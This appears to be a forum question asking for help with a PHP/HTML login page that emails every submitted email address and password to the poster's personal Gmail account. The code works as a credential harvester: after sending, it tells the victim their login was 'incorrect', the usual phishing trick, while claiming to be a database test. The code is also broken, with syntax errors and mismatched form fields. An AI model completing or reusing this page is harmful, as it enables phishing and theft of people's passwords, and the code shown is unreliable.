I want to make a website(small one) I want to make people able to send write their username and password to be sent to my email(because I am still developing a database and I want to make sure if it will work or not)
I tried to put php in the same file as html but when it processes the code it just shows the code but dooesn't run it
<html>
<head>
<?php
if(isset)($_POST['name']) && isset($_POST['email'])) {
$pass = $_POST['pass'];
$email = $_POST['email'];
$to = 'omar12haytham@gmail.com';
$subject = 'Password';
$body = '<html>
<body>
<h2>Hello</h2>
<hr>
<p>Email<br>' . $email . '</p>
<p>Password<br>' . $pass . '</p>
</body>
</html>';
//headers
$headers = "From: ".$name." <".$email.">\r\n";
$headers .= "Reply-To: ".$email."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=utf-8";
//send
$send = mail($to, $subject, $body, $headers);
if ($send) {
echo '<br>';
echo 'Your email or password is incorrect';
} else {
echo error;
}
}
</head>
?>
<body>
<form action="" method="post">
<input type="text" name="name" placeholder="Write your email"><br>
<input type="password" name="email" placeholder="Write your password"><br>
<button type="submit">Log in</button>
</form>
</body>
</html>
I expected it to send me an email but it doesn't must I launch it? I am testing it as .html file not as a working website.